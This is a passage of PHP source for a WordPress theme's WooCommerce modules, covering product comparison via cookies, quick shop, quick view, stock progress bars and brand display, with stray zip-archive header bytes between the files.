		add_action( 'penci_single_product_extra_buttons', array( $this, 'compare_button' ), 10 );
		$this->save_compare = 'penci_compare_products';

		if ( is_multisite() ) {
			$this->save_compare .= '_' . get_current_blog_id();
		}

		add_shortcode( 'penci_compare_table', array( $this, 'compare_table_shortcode' ) );
		add_action( 'penci_current_compare', array( $this, 'compare_header_menu' ) );

		add_action( 'penci_header_extra_icons', array( $this, 'compare_header_item' ), 10 );

		add_action( 'admin_notices', array( $this, 'admin_notice' ), 85 );

		add_action( 'penci_footer_nav_compare_item', array( $this, 'compare_footer_nav' ) );

		add_filter( 'display_post_states', array( $this, 'admin_compare_post_state' ), 10, 2 );

		add_filter( 'the_content', array( $this, 'compare_page_content' ) );
	}

	public function compare_header_item() {
		get_template_part( 'woocommerce/header/compare-icon' );
	}

	public function compare_footer_nav() {
		echo '<span class="current-item">' . $this->compare_header_menu( true ) . '</span>';
	}

	public function compare_header_menu( $return = false ) {
		$compare_item  = $this->get_compare_item( $this->save_compare );
		$compare_count = 0;

		if ( $compare_item ) {
			$compare_check = get_posts(
				array(
					'post_type'      => 'product',
					'posts_per_page' => - 1,
					'post__in'       => $compare_item,
				)
			);
			$compare_count = count( $compare_check );
		}

		if ( $return ) {
			return $compare_count;
		} else {
			echo $compare_count;
		}
	}

	public function get_compare_item( $name ) {
		$items = $this->get_cookie( $name );
		$items = unserialize( base64_decode( $items ), array( 'allowed_classes' => false ) );
		if ( isset( $items ) && $items ) {
			return $items;
		} else {
			return false;
		}
	}

	public function get_cookie( $name ) {
		return isset( $_COOKIE[ $name ] ) ? sanitize_text_field( wp_unslash( $_COOKIE[ $name ] ) ) : false;
	}

	public function compare_button() {
		$product_id  = get_the_ID();
		$button_text = penci_woo_translate_text( 'penci_woo_trans_addtocompare' );
		$url         = '?add-to-compare=' . $product_id;
		$class       = '';

		$compare_item = $this->get_compare_item( $this->save_compare );
		if ( $compare_item && in_array( $product_id, $compare_item ) ) {
			$button_text = penci_woo_translate_text( 'penci_woo_trans_viewallcompare' );
			$url         = esc_url( get_page_link( get_theme_mod( 'penci_woocommerce_compare_page' ) ) );
			$class       = ' added';
		}

		echo '<a data-method="add" href="' . $url . '" class="button compare penci-compare' . $class . '" data-pID="' . $product_id . '">' . $button_text . '</a>';
	}

	function add_to_compare() {
		$nonce = isset( $_GET['nonce'] ) ? $_GET['nonce'] : '';
		if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
			die( 'Nope!' );
		}

		$action          = isset( $_GET['method'] ) ? $_GET['method'] : '';
		$productID       = ( isset( $_GET['pid'] ) ) ? $_GET['pid'] : '';
		$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page' );

		$return = array(
			'message' => 'success',
			'url'     => get_home_url(),
		);

		if ( $compare_page_id ) {
			$return['url'] = esc_url( get_page_link( $compare_page_id ) );
		}

		$return['title']     = esc_attr( get_the_title( $productID ) );
		$return['img']       = esc_url( get_the_post_thumbnail_url( $productID, 'woocommerce_gallery_thumbnail' ) );
		$return['item_link'] = esc_url( get_permalink( $productID ) );

		if ( $productID && 'add' == $action ) {
			$this->add_item_to_compare( $this->save_compare, $productID );
			$return['notify'] = sprintf( esc_html__( 'The product %s successfully added to compare table.', 'soledad' ), get_the_title( $productID ) );
		} elseif ( $productID && 'remove' == $action ) {
			$this->remove_item_to_compare( $this->save_compare, $productID );
			$return['notify'] = sprintf( esc_html__( 'The product %s successfully removed to compare table.', 'soledad' ), get_the_title( $productID ) );
		} else {
			$return = array(
				'message' => 'error',
				'url'     => get_home_url(),
			);
		}

		$return['total'] = $this->compare_header_menu( true );

		wp_send_json_success( $return, 200 );
		wp_die();
	}

	public function add_item_to_compare( $name, $value ) {

		$old_save = $this->get_cookie( $name );

		if ( $old_save ) {
			$old_save = unserialize( base64_decode( $old_save ), array( 'allowed_classes' => false ) );

			if ( ! isset( $old_save[ $value ] ) ) {
				$old_save[] = $value;
				$new_save   = base64_encode( serialize( $old_save ) );
				$this->set_cookie( $name, $new_save );
			}
		} else {
			$new_save   = array();
			$new_save[] = $value;
			$this->set_cookie( $name, base64_encode( serialize( $new_save ) ) );
		}
	}

	public function set_cookie( $name, $value ) {
		setcookie( $name, $value, time() + intval( 60 * 60 * 24 * 7 ), COOKIEPATH, COOKIE_DOMAIN, false, false );
		$_COOKIE[ $name ] = $value;
	}

	public function remove_item_to_compare( $name, $value ) {
		$current_compare_items = $this->get_cookie( $name );

		if ( $current_compare_items ) {
			$current_compare_items = unserialize( base64_decode( $current_compare_items ), array( 'allowed_classes' => false ) );

			if ( isset( $current_compare_items ) && $current_compare_items ) {

				if ( ( $key = array_search( $value, $current_compare_items ) ) !== false ) {
					unset( $current_compare_items[ $key ] );
				}

				$this->set_cookie( $name, base64_encode( serialize( $current_compare_items ) ) );
			}
		}
	}

	public function admin_notice() {
		$query['autofocus[section]'] = 'pencidesign_woo_compare_settings';
		$section_link                = add_query_arg( $query, admin_url( 'customize.php' ) );
		if ( get_theme_mod( 'penci_woocommerce_compare', false ) && ! get_theme_mod( 'penci_woocommerce_compare_page' ) ) {
			?>
			<div class="notice notice-warning is-dismissible">
				<p><?php _e( 'Penci Product Compare need to assign the compare page. Please create a new page with <strong>[penci_compare_table]</strong> content shortcode, then go to <a href="' . esc_url( $section_link ) . '">this page</a> to configure.', 'soledad' ); ?></p>
			</div>
			<?php
		}
		if ( get_theme_mod( 'penci_woocommerce_compare', false ) && class_exists( 'YITH_Woocompare' ) ) {
			?>
			<div class="notice notice-error is-dismissible">
				<p><?php _e( 'You\'ve activated the YITH WooCommerce Compare plugin, please go to <a href="' . esc_url( $section_link ) . '">this page</a> to disable default theme Compare.', 'soledad' ); ?></p>
			</div>
			<?php

		}
	}

	public function admin_compare_post_state( $post_states, $post ) {

		$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page', false );

		if ( $compare_page_id && $post->ID == $compare_page_id ) {
			$post_states[] = esc_attr__( 'Soledad Compare Product', 'soledad' );
		}

		return $post_states;
	}

	public function compare_page_content( $content ) {
		$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page', false );

		if ( is_page( $compare_page_id ) && empty( $content ) ) {
			$content = $this->compare_table_shortcode();
		}

		return $content;
	}

	public function compare_table_shortcode() {
		ob_start();
		$this->compare_html_table();

		return ob_get_clean();
	}

	public function compare_html_table() {
		$user_fields        = get_theme_mod( 'penci_woocommerce_compare_fields' );
		$user_fields		= ! is_array( $user_fields ) ? explode( ',', $user_fields ) : $user_fields;
		$products           = $this->get_compared_products_data();
		$fields             = $this->get_compare_fields( $user_fields );
		$empty_compare_text = penci_woo_translate_text( 'penci_woocommerce_compare_empty_text' );
		$check_class        = '';
		$total_producs      = count( $products );
		if ( 3 < $total_producs ) {
			$check_class = ' penci-multicompare';
		}
		?>

		<div class="penci-products-compare-table woocommerce<?php echo esc_attr( $check_class ); ?>">
			<?php
			if ( ! empty( $products ) ) {
				array_unshift( $products, array() );
				foreach ( $fields as $field_id => $field ) {
					if ( ! $this->is_products_have_field( $field_id, $products ) ) {
						continue;
					}
					?>
					<div class="penci-compare-row compare-<?php echo esc_attr( $field_id ); ?>">
						<?php
						foreach ( $products as $product_id => $product ) :
							$idtag = isset( $product['id'] ) ? ' data-productid="' . esc_attr( $product['id'] ) . '"' : '';
							?>
							<?php if ( ! empty( $product ) ) : ?>
							<div<?php echo $idtag; ?> class="penci-compare-col compare-value"
														data-title="<?php echo esc_attr( $field ); ?>">
								<?php $this->compare_display_field( $field_id, $product ); ?>
							</div>
						<?php else : ?>
							<div<?php echo $idtag; ?> class="penci-compare-col compare-field">
								<?php echo esc_html( $field ); ?>
							</div>
						<?php endif; ?>

						<?php endforeach ?>
					</div>
					<?php
				}
			} else {
				?>
				<div class="penci-empty-compare penci-empty-page penci-empty-page-text">
					<h3 class="penci-compare-empty-title"><?php echo penci_woo_translate_text( 'penci_woo_trans_compare_empty_title' ); ?></h3>
					<p><?php echo $empty_compare_text; ?></p>
				</div>
				<p class="return-to-shop">
					<a class="button"
						href="<?php echo esc_url( wc_get_page_permalink( 'shop' ) ); ?>">
						<?php echo penci_woo_translate_text( 'penci_woo_trans_returnshop' ); ?>
					</a>
				</p>
				<?php
			}

			?>
		</div>

		<?php
	}

	public function get_compared_products_data() {
		$ids = $this->get_compare_item( $this->save_compare );

		if ( empty( $ids ) ) {
			return array();
		}

		$args = array(
			'include' => $ids,
			'limit'   => 100,
		);

		$products = wc_get_products( $args );

		$products_data = array();

		$user_fields = get_theme_mod( 'penci_woocommerce_compare_fields' );
		$fields      = $this->get_compare_fields( $user_fields );

		$fields = array_filter(
			$fields,
			function ( $field ) {
				return 'pa_' === substr( $field, 0, 3 );
			},
			ARRAY_FILTER_USE_KEY
		);

		$divider = '-';

		foreach ( $products as $product ) {
			$rating_count = $product->get_rating_count();
			$average      = $product->get_average_rating();

			$products_data[ $product->get_id() ] = array(
				'basic'        => array(
					'title'       => $product->get_title() ? $product->get_title() : $divider,
					'image'       => $product->get_image() ? $product->get_image() : $divider,
					'rating'      => wc_get_rating_html( $average, $rating_count ),
					'price'       => $product->get_price_html() ? $product->get_price_html() : $divider,
					'add_to_cart' => $this->compare_add_to_cart_html( $product ) ? $this->compare_add_to_cart_html( $product ) : $divider,
				),
				'id'           => $product->get_id(),
				'image_id'     => $product->get_image_id(),
				'permalink'    => $product->get_permalink(),
				'dimensions'   => wc_format_dimensions( $product->get_dimensions( false ) ),
				'description'  => $product->get_short_description() ? $product->get_short_description() : $divider,
				'weight'       => $product->get_weight() ? $product->get_weight() : $divider,
				'sku'          => $product->get_sku() ? $product->get_sku() : $divider,
				'availability' => $this->compare_availability_html( $product ),
			);

			foreach ( $fields as $field_id => $field_name ) {
				if ( taxonomy_exists( $field_id ) ) {
					$products_data[ $product->get_id() ][ $field_id ] = array();
					$orderby = wc_attribute_orderby( $field_id ) ? wc_attribute_orderby( $field_id ) : 'name';
					$terms   = wp_get_post_terms(
						$product->get_id(),
						$field_id,
						array(
							'orderby' => $orderby,
						)
					);
					if ( ! empty( $terms ) ) {
						foreach ( $terms as $term ) {
							$term = sanitize_term( $term, $field_id );
							$products_data[ $product->get_id() ][ $field_id ][] = $term->name;
						}
					} else {
						$products_data[ $product->get_id() ][ $field_id ][] = '-';
					}
					$products_data[ $product->get_id() ][ $field_id ] = implode( ', ', $products_data[ $product->get_id() ][ $field_id ] );
				}
			}
		}

		return $products_data;
	}

	public function get_compare_fields( $user_field = array() ) {
		$fields = array(
			'basic' => penci_woo_translate_text( 'penci_woo_trans_compare_product' ),
		);

		$fields_settings = is_array( $user_field ) && $user_field ? $user_field : '';

		if ( is_array( $fields_settings ) && count( $fields_settings ) > 1 ) {
			$fields_labels = $this->compare_available_fields( true );

			foreach ( $fields_settings as $field ) {
				if ( isset( $fields_labels [ $field ] ) ) {
					$fields[ $field ] = $fields_labels [ $field ]['name'];
				}
			}

			return $fields;
		}

		if ( isset( $fields_settings['enabled'] ) && count( $fields_settings['enabled'] ) > 1 ) {
			$fields = $fields + $fields_settings['enabled'];
		}

		return $fields;
	}

	public static function compare_available_fields( $new = false ) {
		$product_attributes = array();

		if ( function_exists( 'wc_get_attribute_taxonomies' ) ) {
			$product_attributes = wc_get_attribute_taxonomies();
		}

		if ( $new ) {
			$options = array(
				'description'  => array(
					'name'  => penci_woo_translate_text( 'penci_woo_trans_desc' ),
					'value' => 'description',
				),
				'dimensions'   => array(
					'name'  => penci_woo_translate_text( 'penci_woo_trans_demensions' ),
					'value' => 'dimensions',
				),
				'weight'       => array(
					'name'  => penci_woo_translate_text( 'penci_woo_trans_weight' ),
					'value' => 'weight',
				),
				'availability' => array(
					'name'  => penci_woo_translate_text( 'penci_woo_trans_availability' ),
					'value' => 'availability',
				),
				'sku'          => array(
					'name'  => penci_woo_translate_text( 'penci_woo_trans_sku' ),
					'value' => 'sku',
				),

			);

			if ( count( $product_attributes ) > 0 ) {
				foreach ( $product_attributes as $attribute ) {
					$options[ 'pa_' . $attribute->attribute_name ] = array(
						'name'  => wc_attribute_label( $attribute->attribute_label ),
						'value' => 'pa_' . $attribute->attribute_name,
					);
				}
			}

			return $options;
		}

		$fields = array(
			'enabled'  => array(
				'description'  => penci_woo_translate_text( 'penci_woo_trans_desc' ),
				'sku'          => penci_woo_translate_text( 'penci_woo_trans_sku' ),
				'availability' => penci_woo_translate_text( 'penci_woo_trans_availability' ),
			),
			'disabled' => array(
				'weight'     => penci_woo_translate_text( 'penci_woo_trans_weight' ),
				'dimensions' => penci_woo_translate_text( 'penci_woo_trans_demensions' ),
			),
		);

		if ( count( $product_attributes ) > 0 ) {
			foreach ( $product_attributes as $attribute ) {
				$fields['disabled'][ 'pa_' . $attribute->attribute_name ] = $attribute->attribute_label;
			}
		}

		return $fields;
	}

	public function compare_add_to_cart_html( $product ) {
		if ( ! $product ) {
			return;
		}

		$defaults = array(
			'quantity'   => 1,
			'class'      => implode(
				' ',
				array_filter(
					array(
						'button',
						'product_type_' . $product->get_type(),
						$product->is_purchasable() && $product->is_in_stock() ? 'add_to_cart_button' : '',
						$product->supports( 'ajax_add_to_cart' ) && $product->is_purchasable() && $product->is_in_stock() ? 'ajax_add_to_cart' : '',
					)
				)
			),
			'attributes' => array(
				'data-product_id'  => $product->get_id(),
				'data-product_sku' => $product->get_sku(),
				'aria-label'       => $product->add_to_cart_description(),
				'rel'              => 'nofollow',
			),
		);

		$args = apply_filters( 'woocommerce_loop_add_to_cart_args', $defaults, $product );

		if ( isset( $args['attributes']['aria-label'] ) ) {
			$args['attributes']['aria-label'] = strip_tags( $args['attributes']['aria-label'] );
		}

		return apply_filters(
			'woocommerce_loop_add_to_cart_link',
			sprintf(
				'<a href="%s" data-quantity="%s" class="%s add-to-cart-loop" %s><span>%s</span></a>',
				esc_url( $product->add_to_cart_url() ),
				esc_attr( isset( $args['quantity'] ) ? $args['quantity'] : 1 ),
				esc_attr( isset( $args['class'] ) ? $args['class'] : 'button' ),
				isset( $args['attributes'] ) ? wc_implode_html_attributes( $args['attributes'] ) : '',
				esc_html( $product->add_to_cart_text() )
			),
			$product,
			$args
		);
	}

	public function compare_availability_html( $product ) {
		$html         = '';
		$availability = $product->get_availability();

		if ( empty( $availability['availability'] ) ) {
			$availability['availability'] = __( 'In stock', 'woocommerce' );
		}

		if ( ! empty( $availability['availability'] ) ) {
			ob_start();

			wc_get_template(
				'single-product/stock.php',
				array(
					'product'      => $product,
					'class'        => $availability['class'],
					'availability' => $availability['availability'],
				)
			);

			$html = ob_get_clean();
		}

		return apply_filters( 'woocommerce_get_stock_html', $html, $product );
	}

	public function is_products_have_field( $field_id, $products ) {
		foreach ( $products as $product_id => $product ) {
			if ( isset( $product[ $field_id ] ) && ( ! empty( $product[ $field_id ] ) && '-' !== $product[ $field_id ] && 'N/A' !== $product[ $field_id ] ) ) {
				return true;
			}
		}

		return false;
	}

	public function compare_display_field( $field_id, $product ) {

		$type = $field_id;

		if ( 'pa_' === substr( $field_id, 0, 3 ) ) {
			$type = 'attribute';
		}

		switch ( $type ) {
			case 'basic':
				echo '<div class="compare-basic-content">';
				echo '<div class="penci-top-button"><a title="' . penci_woo_translate_text( 'penci_woo_trans_remove_product' ) . '" href="#" rel="nofollow" data-method="remove" class="button penci-compare" data-pid="' . esc_attr( $product['id'] ) . '">' . penci_woo_translate_text( 'penci_woo_trans_remove_product' ) . '</a></div>';
				echo '<a class="product-image" href="' . get_permalink( $product['id'] ) . '">' . $product['basic']['image'] . '</a>';
				echo '<h4 class="penci-product-title"><a href="' . get_permalink( $product['id'] ) . '">' . $product['basic']['title'] . '</a></h4>';
				echo wp_kses_post( $product['basic']['rating'] );
				echo '<div class="price">';
				echo wp_kses_post( $product['basic']['price'] );
				echo '</div>';
				if ( ! get_theme_mod( 'penci_woo_catalog_mode' ) ) {
					echo $product['basic']['add_to_cart'];
				}
				echo '</div>';
				break;

			case 'attribute':
				if ( $field_id === get_theme_mod( 'penci_woocommerce_brand_attr' ) ) {
					$brands = wc_get_product_terms( $product['id'], $field_id, array( 'fields' => 'all' ) );

					if ( empty( $brands ) ) {
						echo '-';

						return;
					}

					foreach ( $brands as $brand ) {
						$image = get_term_meta( $brand->term_id, 'image', true );

						if ( ! empty( $image ) ) {
							echo '<div class="penci-brand-compare">';
							echo '<img src="' . esc_url( wp_get_attachment_image_url( $image, 'full' ) ) . '" title="' . esc_attr( $brand->name ) . '" alt="' . esc_attr( $brand->name ) . '" />';
							echo '</div>';
						} else {
							echo wp_kses_post( $product[ $field_id ] );
						}
					}
				} else {
					echo wp_kses_post( $product[ $field_id ] );
				}
				break;

			case 'weight':
				if ( $product[ $field_id ] ) {
					$unit = $product[ $field_id ] !== '-' ? get_option( 'woocommerce_weight_unit' ) : '';
					echo wc_format_localized_decimal( $product[ $field_id ] ) . ' ' . esc_attr( $unit );
				}
				break;

			case 'description':
				echo apply_filters( 'woocommerce_short_description', $product[ $field_id ] );
				break;

			default:
				echo wp_kses_post( $product[ $field_id ] );
				break;
		}
	}
}

$product_compare = new penci_product_compare();
PK     0w\OR    !  woocommerce/modules/quickshop.phpnu [        <?php

class penci_product_quickshop {
	function __construct() {
		add_action( 'wp_ajax_penci_quick_shop', array( $this, 'quick_shop' ) );
		add_action( 'wp_ajax_nopriv_penci_quick_shop', array( $this, 'quick_shop' ) );
		add_action( 'penci_loop_product_image', array( $this, 'quick_shop_wrapper' ) );
	}

	public function quick_shop( $id = false ) {
		if ( isset( $_GET['id'] ) ) {
			$id = sanitize_text_field( (int) $_GET['id'] );
		}
		if ( ! $id ) {
			return;
		}

		global $post;

		$args = array( 'post__in' => array( $id ), 'post_type' => 'product' );

		$quick_posts = get_posts( $args );

		foreach ( $quick_posts as $post ) :
			setup_postdata( $post );
			woocommerce_template_single_add_to_cart();
		endforeach;

		wp_reset_postdata();

		die();
	}

	function quick_shop_wrapper() {
		?>
        <div class="quick-shop-wrapper">
            <div class="quick-shop-close"><a href="#"
                                             rel="nofollow noopener"><?php penci_woo_translate_text( 'penci_woo_trans_close' ); ?></a>
            </div>
            <div class="quick-shop-form" data-pid="<?php echo get_the_ID(); ?>"></div>
        </div>
		<?php
	}
}

$penci_product_quickshop = new penci_product_quickshop();
PK     0w\#5
  5
  $  woocommerce/modules/progress-bar.phpnu [        <?php

class penci_product_progress_bar {

	function __construct() {
		add_action( 'woocommerce_process_product_meta_simple', array( $this, 'save_total_stock_quantity' ) );
		add_action( 'woocommerce_process_product_meta_variable', array( $this, 'save_total_stock_quantity' ) );
		add_action( 'woocommerce_process_product_meta_grouped', array( $this, 'save_total_stock_quantity' ) );
		add_action( 'woocommerce_process_product_meta_external', array( $this, 'save_total_stock_quantity' ) );
		add_action( 'woocommerce_product_options_inventory_product_data', array(
			$this,
			'total_stock_quantity_input'
		) );

		add_action( 'penci_after_shop_loop', array( $this, 'stock_progress_bar' ) );
		add_action( 'woocommerce_single_product_summary', array( $this, 'stock_progress_bar' ), 15 );
	}

	public function stock_progress_bar() {
		$stock_press = wc_get_loop_prop( 'stock_progress_bar', false );
		if ( ! $stock_press ) {
			return;
		}
		$product_id    = get_the_ID();
		$total_stock   = (int) get_post_meta( $product_id, 'penci_total_stock_quantity', true );
		$current_stock = (int) get_post_meta( $product_id, '_stock', true );
		$total_sales   = (int) get_post_meta( $product_id, 'total_sales', true );
		$total_stock   = ! empty( $total_stock ) && $total_stock > 0 ? $total_stock : $total_sales + $current_stock;

		if ( ! $total_stock ) {
			return;
		}

		$total_sold = $total_stock > $current_stock ? $total_stock - $current_stock : 0;
		$percentage = $total_sold > 0 ? round( $total_sold / $total_stock * 100 ) : 0;

		if ( $current_stock > 0 ) {
			get_template_part(
				'woocommerce/product-loop/progress',
				'bar',
				array(
					'total_sold'    => $total_sold,
					'current_stock' => $current_stock,
					'percentage'    => $percentage,
				)
			);
		}
	}

	public function total_stock_quantity_input() {
		echo '<div class="options_group">';
		woocommerce_wp_text_input(
			array(
				'id'          => 'penci_total_stock_quantity',
				'label'       => penci_woo_translate_text( 'penci_woo_trans_innumbeistock' ),
				'desc_tip'    => 'true',
				'description' => penci_woo_translate_text( 'penci_woo_trans_rqinnumbeistock' ),
				'type'        => 'text',
			)
		);
		echo '</div>';
	}

	public function save_total_stock_quantity( $post_id ) { // phpcs:ignore
		$stock_quantity = isset( $_POST['penci_total_stock_quantity'] ) && $_POST['penci_total_stock_quantity'] ? wc_clean( $_POST['penci_total_stock_quantity'] ) : ''; // phpcs:ignore

		update_post_meta( $post_id, 'penci_total_stock_quantity', $stock_quantity );
	}
}

$penci_product_progress_bar = new penci_product_progress_bar();
PK     0w\ޭY      woocommerce/modules/brand.phpnu [        <?php

class penci_product_brand {
	function __construct() {
		add_action( 'woocommerce_before_single_product', array( $this, 'brand_setup' ) );
	}

	public function brand_setup() {

		global $product;
		$brand_locate = get_theme_mod( 'penci_woocommerce_brand_display', 'summary' );
		if ( is_singular( 'product' ) ) {
			$post_locate  = penci_get_single_product_meta( $product->get_id(), 'product_extra_options', 'brand_locate' );
			$brand_locate = $post_locate ? $post_locate : $brand_locate;
		}
		$brand_locate = ( 'top' == $brand_locate ) ? [
			'woocommerce_single_product_summary',
			3
		] : [ 'woocommerce_product_meta_end', 5 ];

		add_filter( 'woocommerce_product_tabs', array( $this, 'product_brand_tab' ) );
		add_action( $brand_locate[0], array( $this, 'product_brand' ), $brand_locate[1] );

	}

	public function product_brand() {
		global $product;
		$attr = get_theme_mod( 'penci_woocommerce_brand_attr' );
		if ( ! $attr || ! get_theme_mod( 'penci_woocommerce_brand' ) ) {
			return;
		}

		$attributes = $product->get_attributes();

		if ( ! isset( $attributes[ $attr ] ) || empty( $attributes[ $attr ] ) ) {
			return;
		}

		$brands   = wc_get_product_terms( $product->get_id(), $attr, array( 'fields' => 'all' ) );
		$taxonomy = get_taxonomy( $attr );

		if ( empty( $brands ) ) {
			return;
		}

		if ( penci_is_shop_on_front() ) {
			$link = home_url();
		} else {
			$link = get_post_type_archive_link( 'product' );
		}


		echo '<div class="penci-product-brands">';

		foreach ( $brands as $brand ) {
			$image       = get_term_meta( $brand->term_id, 'image', true );
			$filter_name = 'filter_' . sanitize_title( str_replace( 'pa_', '', $attr ) );
			$attrs       = '';


			if ( is_object( $taxonomy ) && $taxonomy->public ) {
				$attr_link = get_term_link( $brand->term_id, $brand->taxonomy );
			} else {
				$attr_link = add_query_arg( $filter_name, $brand->slug, $link );
			}

			$content = esc_attr( $brand->name );

			if ( $image ) {
				$img_url = wp_get_attachment_image_url( $image, 'full' );
				$w       = penci_get_image_data_basedurl( $img_url, 'w' );
				$h       = penci_get_image_data_basedurl( $img_url, 'h' );
				$content = '<img width="' . esc_attr( $w ) . '" height="' . esc_attr( $h ) . '" src="' . esc_url( $img_url ) . '" title="' . esc_attr( $brand->name ) . '" alt="' . esc_attr( $brand->name ) . '">';
			}

			echo '<div class="penci-product-brand">';
			echo '<span class="brand-title">' . esc_attr__( 'Brands', 'soledad' ) . ': </span>';
			echo '<a href="' . esc_url( $attr_link ) . '">' . $content . '</a>'; // phpcs:ignore
			echo '</div>';
		}

		echo '</div>';
	}

	function product_brands_links() {
		global $product;
		$brand_option = get_theme_mod( 'penci_woocommerce_brand_attr' );
		$brands       = wc_get_product_terms( $product->get_id(), $brand_option, array( 'fields' => 'all' ) );
		$taxonomy     = get_taxonomy( $brand_option );

		$link = ( penci_is_shop_on_front() ) ? home_url() : get_post_type_archive_link( 'product' );

		echo '<div class="penci-product-brands-links">';

		foreach ( $brands as $brand ) {
			$filter_name = 'filter_' . sanitize_title( str_replace( 'pa_', '', $brand_option ) );

			if ( is_object( $taxonomy ) && $taxonomy->public ) {
				$attr_link = get_term_link( $brand->term_id, $brand->taxonomy );
			} else {
				$attr_link = add_query_arg( $filter_name, $brand->slug, $link );
			}

			$sep = ', ';
			if ( end( $brands ) == $brand ) {
				$sep = '';
			}

			echo '<a href="' . esc_url( $attr_link ) . '">' . $brand->name . '</a>' . $sep;
		}

		echo '</div>';
	}

	function product_brand_tab( $tabs ) {
		global $product;

		$show_tab    = false;
		$brand_title = penci_woo_translate_text( 'penci_woo_trans_about_brand' );
		$brand_info  = wc_get_product_terms( $product->get_id(), get_theme_mod( 'penci_woocommerce_brand_attr' ), array( 'fields' => 'all' ) );
		if ( ! isset( $brand_info[0] ) ) {
			return $tabs;
		}

		if ( $brand_info[0]->description ) {
			$show_tab = true;
		}
		if ( get_theme_mod( 'penci_woocommerce_brand_tab_title', false ) ) {
			$brand_title = penci_woo_translate_text( 'penci_woo_trans_text_about' ) . ' ' . $brand_info[0]->name;
		}

		if ( $show_tab ) {
			$tabs['brand_tab'] = array(
				'title'    => $brand_title,
				'priority' => 50,
				'callback' => array( $this, 'product_brand_tab_content' ),
			);
		}

		return $tabs;
	}

	function product_brand_tab_content() {
		global $product;
		$attr = get_theme_mod( 'penci_woocommerce_brand_attr' );
		if ( ! $attr ) {
			return;
		}

		$attributes = $product->get_attributes();

		if ( ! isset( $attributes[ $attr ] ) || empty( $attributes[ $attr ] ) ) {
			return;
		}

		$brands = wc_get_product_terms( $product->get_id(), $attr, array( 'fields' => 'slugs' ) );

		if ( empty( $brands ) ) {
			return;
		}

		foreach ( $brands as $id => $slug ) {
			echo '<div class="penci-product-brand-description post-entry">';
			$brand = get_term_by( 'slug', $slug, $attr );
			echo do_shortcode( $brand->description );
			echo '</div>';
		}

	}
}

$penci_product_brand = new penci_product_brand();
PK     0w\8    "  woocommerce/modules/quick_view.phpnu [        <?php

/**
 * Product Quick View
 */
class penci_product_quickview {

	function __construct() {
		add_action( 'penci_loop_product_buttons', array( $this, 'quickview_button' ) );
		add_action( 'wp_ajax_nopriv_penci_quickview', array( $this, 'quickview_content' ) );
		add_action( 'wp_ajax_penci_quickview', array( $this, 'quickview_content' ) );
		add_action( 'admin_notices', array( $this, 'compare_admin_notice' ) );
	}

	public function quickview_button() {
		echo '<a title="' . penci_woo_translate_text( 'penci_woo_trans_quickview' ) . '" href="#" data-pID="' . get_the_ID() . '" class="penci-quickview-button button">' . __( 'Quick View', 'soledad' ) . '</a>';
	}

	public function quickview_content() {
		global $post, $product;
		$nonce = isset( $_GET['nonce'] ) ? $_GET['nonce'] : '';
		if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
			die ( 'Nope!' );
		}

		$productID = ( isset( $_GET['pid'] ) ) ? $_GET['pid'] : '';
		if ( $productID ) {
			$productView = get_posts( array( 'post_type' => 'product', 'post__in' => array( $productID ) ) );
			if ( $productView ) {
				foreach ( $productView as $post ) {
					setup_postdata( $post );
					$product = wc_get_product( $post );
					wc_set_loop_prop( 'quickview', true );
					wc_get_template_part( 'content', 'quickview' );
				}
				wp_reset_postdata();
				wc_reset_loop();
			}
		}
		die();
	}

	public function compare_admin_notice() {
		$query['autofocus[section]'] = 'pencidesign_woo_quickview_settings';
		$section_link                = add_query_arg( $query, admin_url( 'customize.php' ) );
		if ( get_theme_mod( 'penci_woocommerce_quickview', true ) && class_exists( 'YITH_WCQV_Frontend' ) ) {
			?>
            <div class="notice notice-error is-dismissible">
                <p><?php _e( 'You\'ve activated the YITH WooCommerce Quick View plugin, please go to <a href="' . esc_url( $section_link ) . '">this page</a> to disable default theme quick view.', 'soledad' ); ?></p>
            </div>
			<?php

		}
	}
}

$productQuickView = new penci_product_quickview();
PK     0w\-..  .    woocommerce/modules/misc.phpnu [        <?php

class penci_product_misc {

	protected static $instance;

	function __construct() {

		add_action( 'wp_ajax_penci_update_cart_item', array( $this, 'penci_update_cart_item' ) );
		add_action( 'wp_ajax_nopriv_penci_update_cart_item', array( $this, 'penci_update_cart_item' ) );

		add_action( 'wp_ajax_penci_ajax_load_products', array( $this, 'ajax_load_products' ) );
		add_action( 'wp_ajax_nopriv_penci_ajax_load_products', array( $this, 'ajax_load_products' ) );

		add_action( 'wp_ajax_penci_get_product_info', array( $this, 'get_product_info' ) );
		add_action( 'wp_ajax_nopriv_penci_get_product_info', array( $this, 'get_product_info' ) );

		add_filter( 'woocommerce_sale_flash', array( $this, 'product_label' ), 10 );
		add_action( 'woocommerce_before_single_product_summary', array( $this, 'penci_top_relate_products' ), 5 );

		add_action( 'penci_woocommerce_before_main_shop_content_right', function () {
			echo '<div class="penci-wofilter-inner">';
		}, 4 );
		add_action( 'penci_woocommerce_before_main_shop_content_right', array( $this, 'product_grid_label' ), 5 );
		add_action( 'penci_woocommerce_before_main_shop_content_right', array( $this, 'product_style_select' ), 5 );
		add_action( 'penci_woocommerce_before_main_shop_content_right', array(
			$this,
			'top_catalog_product_filter_trigger'
		), 9 );
		add_action( 'penci_woocommerce_before_main_shop_content_right', function () {
			echo '</div>';
		}, 9 );

		add_action( 'woocommerce_shop_loop_item_title', array( $this, 'product_categories_link' ), 15 );
		add_action( 'init', array( $this, 'login_to_see_price' ), 200 );


		add_action( 'wp_footer', array( $this, 'mobile_nav_menu' ) );
		add_filter( 'wp_nav_menu_items', array( $this, 'mobile_menu_filter' ), 10, 2 );


		if ( ! get_theme_mod( 'penci_woo_cat_enable_sidebar' ) ) {
			add_action( 'woocommerce_archive_description', array( $this, 'top_catalog_product_filter' ), 5 );
		}

		remove_action( 'woocommerce_cart_is_empty', 'wc_empty_cart_message', 10 );

		add_action( 'woocommerce_cart_is_empty', array( $this, 'empty_cart_message' ), 10 );

		add_action( 'penci_footer_nav_cart_item', array( $this, 'mobile_cart_totals' ) );
		add_action( 'woocommerce_add_to_cart_fragments', array( $this, 'mobile_cart_totals_fragment' ) );

		add_action( 'wp_ajax_penci_add_to_cart_variable', array(
			$this,
			'penci_add_to_cart_variable'
		) );
		add_action( 'wp_ajax_nopriv_penci_add_to_cart_variable', array(
			$this,
			'penci_add_to_cart_variable'
		) );

